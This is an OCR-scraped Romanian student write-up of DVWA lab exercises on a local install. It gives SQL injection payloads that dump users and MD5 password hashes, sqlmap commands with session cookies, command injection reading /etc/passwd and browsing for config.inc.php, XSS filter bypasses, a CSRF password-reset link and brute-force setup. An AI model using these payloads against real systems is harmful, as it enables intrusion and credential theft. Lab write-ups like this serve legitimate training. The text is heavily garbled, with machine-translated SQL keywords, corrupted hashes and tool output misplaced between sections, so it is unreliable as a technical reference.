Sunteți pe pagina 1din 10

INJECȚIE SQL - NIVEL JOS

1. Care este utilizatorul activ al bazei de date? Notă: Utilizarea instrumentelor automate nu este
permisă pentru acest exercițiu.

Utilizatorul activ este root@localhost

ID-ul de supunere
ELECT utilizatorOl.null
utilizator:
ID: 1' AND -A
'A'='A' UNION SELECT user( )L, null -- A Prenume: admin Nume: admin

ID: 1' AND 'A'='A' UNION SELECT userOl.null -- A


Prenume: root@localhost
Nume de familie:

Am folosit sarcina utilă 1' AND 'A'='A' UNION SELECT user(), null în șirul de text, ca o diferență față
de ceea ce a fost folosit în videoclipul explicativ și a returnat utilizatorul activ în baza de date.

2. Ce sarcină utilă ați folosi pentru a prelua versiunea bazei de date? Notă: Utilizarea
instrumentelor automate nu este permisă pentru acest exercițiu.

ID: ' sau 1=1 union select version(),1 #


Prenume: 10 . 1 . 29-MariaDB- 5
Nume: 1

Sarcina utilă este ' sau 1=1 union select version(),1 #.

Versiunea bazei de date este 10.1.29-Maria DB-6 - NIVEL MEDIU

3. Ce sarcină utilă ați folosi pentru a prelua numele bazei de date? Notă: Utilizarea instrumentelor
automate nu este permisă pentru acest exercițiu.

Mai întâi trimit o solicitare în URL (am folosit-o pe cea anterioară pe care o setasem deja) pentru a
o captura cu Burpsuite și a o trimite la repetitor.
cerere
J Raw J Params J Anteturi J Hex
OBȚINE
/dvwa-master/vulnerabilities/sqli/?id=1%27*20AND%20%27A%27=%27
A%27%20UNIONS20SELECT%20user()U,null%20--*20A&Submit=Trimite
HTTP/1.1
Gazdă: 127.0.0.1
Agent utilizator: Mozilla/5.0 (Xll; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept:
text/html, application/xhtml+xml, application/xml ; q=0. 9,*/*; q=G.
8
Accept-Language: en-US,en:q=Q.5
Acceptare-Codificare: gzip. dezumfla
Cookie: securitate=low; PHPSESSID= 69vevt2nsncdhkln7hsm38mjkO
DNT: 1
Conexiune: aproape
Solicitări de upgrade-nesigure: 1

Am schimbat interogarea de la user() la database() și returnează asta:


/formă-
<pre>ID: 1' AND 'A'='A' UNION SELECT
baza de date), null -- A«br /Prenumele: adminebr /Nume: admin</pre-spre>ID: 1' AND 'A'='A' UNION SELECT database),
null -- Aebr /Prenumele: dvwaebr /prenume: „/ nr>

Numele bazei de date este: „dvwa”

4. Ce sarcină utilă ați folosi pentru a lista toți utilizatorii (nume de utilizator) și parolele (hash-uri)
din baza de date? Notă: sarcina utilă nu poate depăși 70 de caractere și utilizarea instrumentelor
automate nu este permisă pentru acest exercițiu.
Pur și simplu, în repetor fac interogarea select first_name,parola de la utilizatori și îi listează pe toți
cu parolele lor respective.
/formă-
<pre>ID: 1' AND 'A'='A' UNION SELECT
first_name , parola de la utilizatori -- A«br /First name:
adminebr /Nume: admin«/preepreID: 1' AND 'A'='A' UNION
SELECTează prenumele H parola de la utilizatori -- A«br /Prenumele :
adminbr / Prenume:
5f4dcc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/ Prenume: Gordonebr /> Prenume:
e99a18c428cb38d5f 260853678922e03«/p re><pre> ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/ Prenume: Hackebr /> Prenume:
8d3533d75ae2c3966d7e9d4fcc69216b</pre-spre>ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/Prenumele: Pablo«br /Numele:
0dI07d09f 5bbe40cade3de5c7le9e9b7</p re>epre>ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/ Prenume: Bobebr /- Prenume:
5f4dcc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/Prenumele: Student«br /Nume:
eb0al91797624dd3a48fa681d3061212«/pre- «/div

INJECȚIE SQL (ORBĂ) - NIVEL JAS

5. Ce sarcină/sarcini utile ați folosi pentru a determina prezența vulnerabilității? Descrieți procesul
de urmat.

Injectarea SQL (Blind) este puțin mai complexă decât injectarea sql, deoarece dacă există o eroare
în sarcina utilă, vă va întoarce la pagina goală, adică nu returnează niciun rezultat.

Pentru a determina prezența vulnerabilității, se fac verificările corespunzătoare:

Determinați vulnerabilitatea lângă dacă este text sau numerică.

Cu Payload id=1 și 1=1 și 1=0 nu pot determina dacă există injecție de cod, deoarece returnează
condițiile adevărate și false. Cu sarcina utilă id=1' ȘI '1'='1 pot determina că există injectare a tipului
de text, deoarece returnează textul interogării și cu id=1' ȘI '1'='0 nu returnează aceasta. Cu aceste
date putem determina că există o injecție de cod de tip text.
- NIVEL MEDIU
6. Folosește un instrument pentru a exploata vulnerabilitatea și a enumera toți utilizatorii (nume
de utilizator) și parolele (hash) din baza de date. Ce instrucțiune ai folosit? Care a fost rezultatul
instrumentului?

Voi folosi SQLmap: -Conectez sqlmap cu URL-ul sql injection Blind, adaug cookie-ul și un PAYLOAD
true (executat anterior în dvwa) astfel încât să-mi arate bazele de date disponibile.

2T1:~# sqlmap -u " http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/ " --cookie="security=medium;


PHPSESSID=69vevt
2nsncdhkln7hsm38mjke" --data="id=l&Submit=Submit" --dbs

Eu

-Odată ce am rezultatele, accesez diferitele tabele și coloane până ajung la utilizatori:

2T1:-# sqlmap -u " http://127.0.0 . 1/DVWA-master/vulnerabilities/sqli_blind/" - -cookie="security=medium; PHPSESSID=69vevt 2nsncdhkln7hsm38mjke" --


data="id=l&Submit=Submit" -D dvwa --tables

http://127.0.0
:~# sqlmap -u " . 1/DVWA-master/vulnerabilities/sqli blind/" - -cookie="security=medium; PHPSESSID=69vevt 2nsncdhkln7hsm38mj k0" - -
data= ,, id=l&Submit=Sublnit , ' -D dvwa -T utilizatori --columns

:-# sqlmap -u " http://127. 0.0 . 1/DVWA-master/vulnerabilities/sqliblind/” PHPSESSID=69vevt


2nsncdhkln7hsm38mj k0" - -data="id=1&Submit=Submit" -D dvwa -T utilizatori -C utilizator, parola

:~# sqlmap -u " http://127.0.0.1/DVWA-niaster/vulnerabilities/sqli_blind/ " - -cookie="security=medium;


PHPSESSID=69vevt 2nsncdhkln7hsm38mjk0" date-"id-l&Submit-Submit" -D dvwa -T utilizatori -C nume de utilizator,parolă --dump

Scor final:

Baza de date: dvwa


Tabel: utilizatori
[6 intrări]
Baza de date: dvwa--------------------------------------------------------------------------------------3
Tabel: utilizatori-----------------------------------------------------------------------------------------3
[6 intrări]--------------------------------------------------------------------------------------------------3
5f4dcc3b5aa765d61d8327deb882cf99---------------------------------------------------------------3
5f4dcc3b5aa765d61d8327deb8B2cf99---------------------------------------------------------------3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212---------------------------------------------------------------3

Od107de9f5bbe40cade3de5c7le9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb8B2cf99
8d3533d75ae2c3966d7e0d4fcc69216b
e99al8c428cb38d5f260853678922e03 eb8al91797624dd3a48fa581d3861212

INJECȚIE DE COMANDĂ - NIVEL JOS


7. Ce sarcină utilă ați folosi pentru a exploata vulnerabilitatea și a enumera conținutul fișierului
/etc/passwd? (Copiați și primele 3 rânduri ale fișierului)
fișier.txt; cat /etc/passwd #
root : x: 0 : 0 : root : / root : /bin/bash
daemon: x: 1:1 : daemon: /us r/sbin: /us r/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys :x: 3 : 3 : sys:/dev: /us r/sbin/nologin
sincronizare: x :4 : 65534: sincronizare: /bin: /bin/sync
jocuri :x: 5 : 60 : jocuri :/usr/games:/usr/sbin/nologin man: x : 6: 12 : man: /var/cache/man :/us
r/sbin/nologin Ip : x: 7 : 7 : IP : /var/spool/Lpd :/us r/sbin/nologin mail: x: 8 : 8 : mail :
/var/mail : /us r/sbin/nologin știri: x : 9:9 : știri : /var/spool/news :/us r/sbin/nologin uucp:x: 10 :
10 :uucp : /var/spool/uucp:/usr/sbin/nologin proxy:x :13 : 13 :proxy:/bin :/usr/sbin/nologin
www- data : x: 33 : 33 : www- data : /var/www: /us r/sbin/nologin backup: x: 34 : 34: backup:
/var/backups : /us r/sbin/nologin list : x: 38 : 38 Manager liste de corespondență: /var/list
:/usr/sbin/nologin irc :x: 39: 39:ircd:/var/run/ircd:/usr/sbin/nologin
anats : x :41 :41 Gnats Rud-Renortina Svstem ( admin) : /var/1 i h/anats : /us ri

- NIVEL MEDIU

8. Ce sarcină utilă ați folosi pentru a cunoaște directorul curent din sistemul de fișiere?
La acest nivel simbolurile „&& și ;” au fost eliminate. stabilindu-le egale cu „”, nu le mai putem
folosi dar mai avem & si ||.
Sarcina utilă utilizată este:

127.0.0.1 &ls

Ajutor
index .php sursă PING 127.0.0.1 (127.0.0.1) 56(84) octeți de date. 64 octeți desde 127.0.0.1:
icmp_seq=1 ttl=64 timp=0,011 Mai mult
Baza de date: dvwa 3
Tabel: utilizatori 3
[6 intrări] 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3

--- 127.0.0.1 statistici ping ----------------------


4 pachete transmise, 4 primite, 9% pierdere de pachete , timp 3060 ms rtt min/avg/max/mdev =
0,011/0,014/0,017/0,005 ms

9. Ce sarcină sau sarcini utile ați folosi pentru a găsi numele de utilizator și parola bazei de date?
Sugestie: ambele sunt stocate în fișierul „config.inc.php”.

Mai întâi răsfoiesc fișierul.

127.0.0.1 &ls

127.0.0.1 & ls ../ -Sub alt nivel

127.0.0.1 & ls ../../ -Aici găsesc un folder numit config. O să văd ce e înăuntru.

127.0.0.1 & ls ../../config. Iată fișierul pe care îl căutăm.


config. inc ■ php|
config. inc . php. dist
PING 127.8.8.1 (127.0.0.1) 56(84) octeți de date.
Baza de date: dvwa 3
Tabel: utilizatori 3
[6 intrări] 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3

— 127.0.0.1 statistici ping —


4 pachete transmise, 4 primite, 8% pierdere de pachete, timp 3078ms rtt min/avg/max/mdev =
0.016/0.020/0.032/0.008 ms

O sa-l deschid sa vad ce contine.

XSS (REFLECTAT) - NIVEL JOS

10. Exploatează vulnerabilitatea pentru a crea un formular de conectare fals. Scrieți sarcina utilă
pe care ați folosit-o.

În interiorul casetei de text, introdu HTML pur pentru a crea o autentificare falsă:

<p>Autentificare</p><br>

<input type=”text” vlue=”nume”><br>

<input type=”text” vlue=”parolă”>

- NIVEL MEDIU

11. Indică sarcina utilă pe care ați folosi-o pentru a deschide o fereastră pop-up.

<scr<script>alertă(„aceasta este o fereastră pop-up”)</scr</script>ipt>

În teorie, ar trebui să șterg etichetele complete de script și să le las pe cele separate și să fac
popup-ul, dar șterge totul, așa că am adăugat o fotografie care, când dau clic, omite pop-up-ul.

<img src="#” onclick=alert(„popup!”) >


În cele din urmă, am reușit, pur și simplu intercalând litere mari și mici:
<ScrIpt>alerta('popup')</ScrIpT>

12. Indicați sarcina utilă pe care ați folosi-o pentru a include un cadru care include o pagină
externă care umple întregul ecran, ascunzând complet pagina DVWA.

<ScrIpt>window.location="http:www.google.es”</ScrIpT>

Nu am reușit să deschid o fereastră deasupra, doar o pagină.

Am încercat să deschid un html și un Div verde care a ocupat toată lățimea și înălțimea ecranului,
dar nu s-a deschis.

XSS (STOCAT) - NIVEL SCĂZUT

13. Care este numele parametrului vulnerabil din formular? Include un exemplu de încărcare utilă
a modului de exploatare a vulnerabilității.

Numele parametrului vulnerabil este caseta de mesaj.

As pune un nume si in caseta de mesaj as pune scriptul.

<ScrIpt>alerta('popup')</ScrIpT>

CSRF - NIVEL JOS


14. Descrieți care este vulnerabilitatea formei și cum ați exploata-o.
Vulnerabilitatea constă în faptul că URL-ul în sine poartă toate informațiile posibile pentru o
schimbare a parolei, asta înseamnă că dacă trimiți un e-mail unui utilizator prin care îi cere să facă
clic pe link și linkul este: 127.0.0.1/dvwa/ vulnerabilities /csrf/?
password_new=parolă&password_conf=parolă&C hange=Modificare#

Parola va fi resetată la „parolă” și oricine a trimis e-mailul fals își va putea cunoaște acreditările.

- NIVEL MEDIU

15. Profitând de vulnerabilitatea „XSS (Stored)”, utilizați-o pentru a exploata CSRF și pentru a le
schimba parola contului oricărui utilizator care accesează pagina respectivă.

127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&C
hange=Modificare#

FORTA BRUTA

16. Indicați 3 instrumente pe care le puteți folosi pentru a efectua un atac cu forță brută
împotriva unui formular de conectare.

SSB, THC-Hydra și Burp

17. Folosind oricare dintre aceste instrumente, obțineți parola următorilor utilizatori. Pentru a
face acest lucru, deconectați-vă de la DVWA și atacați formularul de conectare al aplicației.
Includeți, de asemenea, comanda utilizată pentru a lansa instrumentul sau o descriere a modului în
care l-ați folosit:

• admin • gordonb • 1337 • paul • fierărie

Voi folosi Burp și pentru a economisi puțin timp, voi pune numele de utilizator și parola între semne
pentru a putea spune ce să pun în sarcina utilă 1 și 2 mai târziu. Pentru utilizatori, în sarcina 1 voi
pune cei 5 utilizatori pentru a obține permisul și în sarcina 2 voi pune o baterie de parole 6 dintre
care 5 sunt corecte pentru acești utilizatori.

(2) Opțiuni de sarcină utilă [listă simplă]


Acest tip de sarcină utilă vă permite să configurați o listă simplă de șiruri care sunt utilizate a

Adăugați din listă... [Numai versiunea Pro]


ID-uri SLABE DE SESIUNE - NIVEL JOS
18. Descrie modul în care sunt generate valorile cookie-ului „dvwaSession”.

Ele sunt generate de o sumă de sesiuni.

Când generați cookie-ul, acesta vă oferă valoarea +1.

Ca sinteză, nu este necesar să cunoașteți numele de utilizator și parola utilizatorului, pur și simplu
setând un cookie dvwaSession altul decât 0 pe care îl veți introduce.

- NIVEL MEDIU

19. DESCRĂȚI CUM SUNT GENERATE VALORILE COOKIE-ULUI „DVWASESSION”.

Un cookie este generat aparent cu numere aleatorii.


Referer: http://127.G.0. 1/DVWA-master/vulnerabilities/weak_id/
Cookie: dvwaSession= 1637341204; securitate=mediu;
PHPSESSID=qqgnj li6rblognlshlr9libc86
DNT: 1

Îl trimit la sequencer și fac o captură live a 5 amenințări la fiecare 500 de milisecunde.


Copiez rezultatele și văd că în fiecare secundă se adaugă 1 la valoarea cookie-ului
1637341480 1637341481 1637341481 1637341481
1637341481 1637341481 1637341482 1637341482 1637341482 1637341482 1637341482 1637341482
1637341482 1637341482 1637341482 1637341483
1637341483 1637341483 1637341483 1637341483
1637341483 1637341483 1637341483 1637341483
1637341483

Deci putem spune că cookie-ul care este generat are o valoare de timp.

- NIVEL INALT

20. Descrie modul în care sunt generate valorile cookie-ului „dvwaSession”.

Acesta generează o cheie numerică pentru mine,

Referer: http://127.0.0 . 1/DVWA-master/vulnerabilities/weak_id/


Cookie: dvwaSession=1637341205; securitate=înalt;
PHPSESSID=qqgnj li6rblognlshlr9libc86

Trecându-l la sequencer și parsându-l, văd că sunt md5

6f4922f4556B161a8cdf4ad2299f6d23 lf0e3dad99908345f7439f8ffabdffc4
98fl3708210194c475687be6106a3b84 3c84398dffc4 3c84398dffc4 9
b6d767d2f8ed5d21a44b0eS886680cb9 37693cfc74S049e45dS7b8c7d8b9aacd
lfflde774005f8dal3f42943881c655f 02943881c655f 02683747dddfd373474
4e732ced3463d06de0ca9al5b6153677 8e296a067a37563370ded05f5a3bf3ec
33e75ff09dd601bbe69f351039152189 6ea9ablbaa0efb9el9094440c317e21b
34173cb38f07f89ddbebc2ac912 8303f cl6a533360cfad497533630494
64d3f0f495b6ab9dcf8d3b5c6e0b01

Rezultatele sunt: 18,19,20,12. etc.

Adică, cookie-ul mărește sesiunea cu 1 ca la nivelul scăzut dar criptat în MD5

ALȚII
21. Există o funcționalitate ascunsă în aplicație, o puteți găsi? Includeți o captură de ecran
care arată noua funcționalitate încărcată în browserul web.

22. Descrieți ceea ce se face în următorul videoclip. Mergeți descriind pașii desfășurați,
notând în minut/secundă a videoclipului în care sunt desfășurați.
https://www.youtube.com/watch?v=40iLfdRwM8U

Tot videoclipul se bazează pe injecție SQL.

- 00:15 utilizatorul s-a conectat deja la web (id=2), schimbați id-ul în id=3 pentru a cunoaște
numele utilizatorului 3 și al utilizatorului 4

- 00:40 utilizatorul activ pune o condiție adevărată, astfel încât să nu afecteze interogarea și
returnează prima interogare care este id=4.

- 00:54 utilizatorul introduce o condiție falsă, astfel încât interogarea nu returnează niciun
rezultat.

- 1:15 utilizatorul introduce codul de sarcină util=4 sau 1=1, astfel încât listează toți utilizatorii
din baza de date.
- 1:43 utilizatorul deschide sqlmap introducând adresa URL vulnerabilă pentru a face o
injecție automată sql.

- 2:18 se face un DUMP pentru a descărca tot conținutul tabelului utilizatorilor. Pentru că
interogarea se face pe acel tabel de pe web.

23. Enumerați toate instrumentele pe care le-ați folosit pentru a efectua exercițiile și explicați
unde le-ați folosit

Pentru aceste exerciții am folosit doar BURP și sqlmap.

Am folosit SQLMAP în exercițiul 6.

BURP L-am folosit la exercițiile 3,4,17,19 și 20

S-ar putea să vă placă și